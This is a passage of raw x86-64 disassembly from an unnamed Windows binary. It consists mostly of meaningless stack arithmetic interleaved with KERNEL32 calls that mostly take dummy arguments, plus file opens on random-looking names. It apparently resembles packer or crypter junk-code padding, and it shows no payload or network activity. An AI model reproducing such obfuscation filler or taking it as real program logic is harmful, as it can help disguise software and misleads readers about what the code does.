mov rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0xa130]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb960], rax
lea rcx, [rsp + 0xacc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x49f4]
mov qword [rsp + 0xbe68], rax
movsx eax, byte [rsp + 0x34a]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa308]
mov byte [rcx], al
mov rax, qword [rsp + 0xb130]
movzx eax, word [rax]
mov word [rsp + 0x1ff0], ax
movzx eax, word [rsp + 0xe78]
movzx ecx, word [rsp + 0xaa8]
or eax, ecx
mov word [0x14022bc40], ax
mov rax, qword [rsp + 0x9c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7898]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa290]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1e08]
movzx ecx, word [rsp + 0x1cb0]
shl eax, cl
mov word [rsp + 0x1d78], ax
lea rax, [rsp + 0x48f4]
mov qword [rsp + 0xbe70], rax
movzx eax, byte [rsp + 0x178]
movzx ecx, byte [rsp + 0x36f]
sub eax, ecx
mov byte [rsp + 0x38b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, [rsp + 0x49c0]
mov qword [rsp + 0xbe78], rax
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0xb200]
mov qword [rsp + 0xbe80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa0e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbe88], rax
movsx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0xb558]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3b0]
movzx eax, word [rax]
mov word [rsp + 0x1ff4], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b998]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7218], rax
mov rax, qword [rsp + 0xa280]
mov rcx, qword [rsp + 0xa6f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b18], rax
lea rcx, [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1da8]
movsx ecx, word [rsp + 0x1c88]
and eax, ecx
mov word [rsp + 0xa2c], ax
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [0x14022bbf0]
sar eax, cl
mov rcx, qword [rsp + 0xa840]
mov word [rcx], ax
mov rax, qword [rsp + 0xba58]
mov eax, dword [rax]
mov dword [rsp + 0x4b5c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rcx, [rsp + 0xab60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x3b2]
mov rcx, qword [rsp + 0xa868]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0xbc30]
mov rcx, qword [rsp + 0xae68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8440], rax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xbe90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x89e0], rax
mov rax, qword [rsp + 0xb940]
movzx eax, word [rax]
mov word [0x14022bdb0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1f34]
mov qword [rsp + 0xbe98], rax
mov rax, qword [rsp + 0xb7e0]
mov ecx, dword [rsp + 0x4a64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48bc], eax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x310], al
mov rax, qword [rsp + 0x8bb0]
mov qword [rsp + 0xbea0], rax
mov eax, dword [rsp + 0x4acc]
movzx ecx, al
mov eax, dword [rsp + 0x47e0]
shr eax, cl
mov dword [rsp + 0x4a3c], eax
movsx eax, byte [rsp + 0x395]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022bc00]
mov rcx, qword [rsp + 0x7af0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb200]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb700]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16c0], ax
movzx eax, word [rsp + 0x1ab8]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022bba8], ax
mov rax, qword [rsp + 0xaee0]
mov rax, qword [rax]
mov qword [rsp + 0xbea8], rax
mov rax, qword [rsp + 0xb6f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb800]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movzx eax, word [rsp + 0x1ddc]
mov word [rsp + 0x1ff8], ax
lea rdx, [rsp + 0x4b60]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0x7288]
mov rcx, qword [rsp + 0xa570]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ed0], rax
mov rax, qword [rsp + 0xb7a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7b88]
shr rax, cl
mov rcx, qword [rsp + 0xa600]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa958]
mov rcx, qword [rsp + 0xbd80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3f58], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xb1c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
shl eax, cl
mov byte [rsp + 0x277], al
lea rax, [rsp + 0x19a8]
mov qword [rsp + 0xbeb0], rax
lea rdx, [rsp + 0x4a24]
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b20], eax
mov rax, qword [0x14022bd00]
mov rcx, qword [rsp + 0xa360]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14022a0d8], rax
mov eax, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x48c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xbdc8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xb270]
movzx eax, word [rax]
mov word [rsp + 0x1ffc], ax
movzx eax, word [rsp + 0x1d70]
movzx ecx, word [rsp + 0x1cac]
add eax, ecx
mov word [rsp + 0x1e70], ax
lea rax, [rsp + 0x371]
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xbbf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac70], rax
mov rax, qword [rsp + 0xb2c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb4b8]
mov qword [rsp + 0xbec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbec0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3980], eax
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
movsx ecx, word [0x14022a098]
sub eax, ecx
mov word [rsp + 0x1ec4], ax
lea rax, [rsp + 0xa64]
mov qword [0x14022bdb8], rax
mov rax, qword [rsp + 0xb578]
mov rcx, qword [rsp + 0xbe40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa038], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbec8], rax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov qword [rsp + 0xbed0], rax
mov rax, qword [rsp + 0xbd30]
mov rcx, qword [str.GnB_ax]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7568], rax
movzx eax, word [rsp + 0x1dd0]
mov word [rsp + 0x2000], ax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0x9d60]
mov ecx, dword [rsp + 0x3bc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e04], eax
movsx eax, byte [rsp + 0x351]
mov rcx, qword [rsp + 0xa868]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0xb480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc20]
mov dword [rcx], eax
lea rdx, [rsp + 0x4940]
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e4], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b3], al
mov rax, qword [rsp + 0xa8e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xadc0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14022bce0]
mov word [rcx], ax
mov rax, qword [0x14022bdb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb548]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cf0], ax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0x19b8]
add eax, ecx
mov word [rsp + 0x988], ax
mov rax, qword [0x14022a008]
mov rcx, qword [rsp + 0x9ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7800], rax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [rsp + 0x392]
add eax, ecx
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
lea rax, [rsp + 0x475c]
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xb9a0]
movzx ecx, al
mov rax, qword [0x14022a018]
shr rax, cl
mov qword [rsp + 0xafb0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.aFGX3XW9OYWGq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbee0], rax
lea rax, [rsp + 0x1f00]
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbeb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [0x14022ba18]
mov qword [0x14022bdc0], rax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0xae88]
mov rax, qword [rax]
mov qword [rsp + 0xbef0], rax
mov rax, qword [rsp + 0xb9d0]
mov rcx, qword [rsp + 0x9d90]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbe18], rax
lea rax, [rsp + 0x9408]
mov qword [rsp + 0xbef8], rax
movsx eax, byte [rsp + 0x367]
mov rcx, qword [rsp + 0xa598]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3aa], al
mov eax, dword [rsp + 0x46ac]
mov ecx, dword [rsp + 0x49ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ea8], eax
movzx eax, byte [rsp + 0x36a]
mov byte [rsp + 0x3b4], al
mov rax, qword [rsp + 0xa230]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb108]
mov qword [rsp + 0xbf00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x40f4], eax
mov rax, qword [0x14022ba28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14022bcec], ax
lea rax, [rsp + 0x1ea8]
mov qword [rsp + 0xbf08], rax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1308], ax
movzx eax, word [0x14022bb88]
mov rcx, qword [rsp + 0xb548]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f5c], ax
mov rcx, qword [rsp + 0xa438]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x4930]
mov qword [rsp + 0xbf10], rax
mov rax, qword [rsp + 0xafb0]
mov rcx, qword [rsp + 0x79f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae18]
mov qword [rcx], rax
movsx eax, byte [0x14022b813]
mov rcx, qword [rsp + 0xae30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x29d], al
mov rax, qword [rsp + 0xadd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1448]
add eax, ecx
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb100]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c80], ax
lea rdx, [rsp + 0x464c]
mov rcx, qword [rsp + 0xb888]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0xa180]
mov rax, qword [rax]
mov qword [0x14022bdc8], rax
lea rax, [rsp + 0xa0f8]
mov qword [rsp + 0xbf18], rax
mov rax, qword [rsp + 0x7288]
mov rcx, qword [rsp + 0xb140]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7820], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.vCYHeGvYJ2NL6AMgzELjWoUBaDLuQubc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbf20], rax
mov rax, qword [rsp + 0xb608]
mov rax, qword [rax]
mov qword [rsp + 0xbf28], rax
mov rax, qword [rsp + 0xba50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1308], ax
movzx eax, byte [rsp + 0x100]
movzx ecx, byte [0x140229f1d]
and eax, ecx
mov byte [rsp + 0x213], al
mov r9d, 0x185e
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a84], eax
mov rax, qword [rsp + 0x9f80]
mov rcx, qword [rsp + 0xb450]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa028]
mov rcx, qword [rsp + 0xaf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3a24], eax
mov rax, qword [0x14022bab8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b5], al
mov rax, qword [rsp + 0xa110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9878]
mov qword [rsp + 0xbf30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf30]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14022bc70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb8a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f28], ax
lea rax, [rsp + 0x1c78]
mov qword [rsp + 0xbf38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
movzx eax, word [rsp + 0x1ce0]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb0c], ax
mov rax, qword [rsp + 0xa228]
mov rcx, qword [rsp + 0x9348]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x37b]
mov qword [rsp + 0xbf40], rax
mov eax, dword [rsp + 0x3b0c]
mov ecx, dword [rsp + 0x4230]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
lea rax, [rsp + 0x9ec0]
mov qword [rsp + 0xbf48], rax
movsx eax, word [0x140229f78]
movsx ecx, word [rsp + 0x1d0c]
sub eax, ecx
mov rcx, qword [rsp + 0xafd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b4]
and eax, ecx
mov rcx, qword [0x14022bd08]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.cNn9wwHH2jx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbf50], rax
mov rax, qword [0x140229fc0]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xbf58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa218]
mov qword [rcx], rax
lea rax, [rsp + 0x1d24]
mov qword [rsp + 0xbf60], rax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x27e]
add eax, ecx
mov byte [rsp + 0x386], al
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rax, [rsp + 0x483c]
mov qword [rsp + 0xbf68], rax
mov rax, qword [rsp + 0xa9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb448]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
mov eax, dword [rsp + 0x4804]
movzx ecx, al
mov eax, dword [rsp + 0x3da8]
shl eax, cl
mov dword [rsp + 0x4044], eax
mov rax, qword [0x14022bc70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7230]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e60], rax
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x17fd
xor r8d, r8d
lea rdx, [rsp + 0xb998]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0xaf10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
xor eax, ecx
mov word [rsp + 0x10c0], ax
mov eax, 0x38
imul rax, rax, 3
lea rcx, [rsp + 0x1e9d0]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0x36687941
movzx eax, word [rsp + 0x1e94]
movzx ecx, word [rsp + 0x1ecc]
sub eax, ecx
mov word [0x14022a0e0], ax
lea rax, [rsp + 0xbb38]
mov qword [rsp + 0xbf70], rax
mov rax, qword [rsp + 0x9cd8]
movzx ecx, al
mov rax, qword [rsp + 0xa388]
sar rax, cl
mov rcx, qword [rsp + 0xa770]
mov qword [rcx], rax
lea rax, [rsp + 0x1394]
mov qword [rsp + 0xbf78], rax
movzx eax, word [rsp + 0x17f8]
movzx ecx, word [rsp + 0x163c]
add eax, ecx
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0xad78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xa6e0]
mov rax, qword [rax]
mov qword [rsp + 0xbf80], rax
mov rax, qword [rsp + 0xa490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34f]
and eax, ecx
mov byte [rsp + 0x35c], al
mov rax, qword [rsp + 0xb500]
mov rax, qword [rax]
mov qword [rsp + 0xbf88], rax
lea rax, [rsp + 0x1b80]
mov qword [0x14022bdd0], rax
mov rax, qword [rsp + 0xb368]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dfc]
add eax, ecx
mov word [rsp + 0x19a8], ax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x354]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
lea rax, [rsp + 0x4ab8]
mov qword [rsp + 0xbf90], rax
mov rax, qword [rsp + 0xa590]
mov rcx, qword [0x14022a050]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb440], rax
lea rax, [rsp + 0x4a4c]
mov qword [rsp + 0xbf98], rax
mov rax, qword [rsp + 0xb2f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x353]
sar eax, cl
mov rcx, qword [rsp + 0xbe38]
mov byte [rcx], al
mov rax, qword [rsp + 0xaab8]
mov rcx, qword [0x14022bd18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x88c0], rax
movsx eax, word [rsp + 0x1c94]
mov rcx, qword [rsp + 0xad28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0xbe98]
movzx eax, word [rax]
movzx ecx, word [0x14022bc68]
or eax, ecx
mov rcx, qword [0x14022bbb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4a8]
mov rcx, qword [rsp + 0x9c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbbc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
mov word [rsp + 0x2004], ax
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
movsx ecx, word [0x140229f68]
sub eax, ecx
mov rcx, qword [rsp + 0xb738]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xbd88]
mov qword [rsp + 0xbfa0], rax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x380]
add eax, ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x9d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0xb3f8]
movzx ecx, al
mov rax, qword [rsp + 0xb488]
shr rax, cl
mov qword [rsp + 0x6f88], rax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
movzx ecx, word [0x14022bd20]
sub eax, ecx
mov word [rsp + 0x1d94], ax
mov rax, qword [rsp + 0x9a20]
mov qword [0x14022bdd8], rax
mov eax, dword [rsp + 0x4890]
mov dword [rsp + 0x4b68], eax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb348]
mov byte [rcx], al
lea rdx, [rsp + 0x4a9c]
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b6c], eax
movsx eax, word [0x140229f38]
movsx ecx, word [rsp + 0x1b5c]
and eax, ecx
mov word [rsp + 0x1d3c], ax
movzx eax, word [rsp + 0x7ec]
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xbe08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x88c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov r9d, 1
xor r8d, r8d
mov edx, 0x7684
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
mov eax, dword [rsp + 0x48ac]
mov rcx, qword [rsp + 0xa190]
mov qword [rsp + 0xbfa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfa8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3f44], eax
movsx eax, byte [rsp + 0x35a]
movsx ecx, byte [rsp + 0x2a4]
imul eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov byte [rcx], al
movsx eax, word [0x14022a0d0]
movsx ecx, word [rsp + 0x1e98]
or eax, ecx
mov rcx, qword [rsp + 0xafd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xba28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022bce8], ax
mov rax, qword [rsp + 0x7218]
mov qword [rsp + 0xbfb0], rax
mov rax, qword [rsp + 0xa960]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022bdd8]
shl rax, cl
mov qword [rsp + 0x7288], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbfb8], rax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0xbe60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x72d0], rax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x4b70]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a2c], eax
mov rax, qword [rsp + 0xa1a8]
movsx eax, word [rax]
mov rcx, qword [0x14022bac8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa988]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x393], al
mov eax, dword [rsp + 0x4a00]
mov dword [rsp + 0x4b74], eax
mov rax, qword [rsp + 0x88c0]
mov rcx, qword [rsp + 0xaa58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9408], rax
lea rax, [rsp + 0x3a9]
mov qword [rsp + 0xbfc0], rax
mov eax, dword [rsp + 0x4674]
movzx ecx, al
mov eax, dword [rsp + 0x49c8]
sar eax, cl
mov dword [rsp + 0x39b0], eax
movsx eax, word [0x140229fd4]
movsx ecx, word [rsp + 0x1fac]
add eax, ecx
mov word [0x14022a0e4], ax
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0xbfc8], rax
movzx eax, word [rsp + 0x1fd8]
mov rcx, qword [rsp + 0xbe00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d68], ax
mov rax, qword [rsp + 0xb070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa960]
mov qword [rcx], rax
lea rax, [rsp + 0x8d58]
mov qword [rsp + 0xbfd0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor edx, edx
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, 0x1909
div ecx
mov dword [rsp + 0x4a54], eax
mov r9d, 0x2193
xor r8d, r8d
lea rdx, [rsp + 0xac98]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a50], eax
lea rdx, [rsp + 0x4a74]
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b78], eax
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x3b6], al
mov rax, qword [rsp + 0xab30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab80]
movsx ecx, word [rcx]
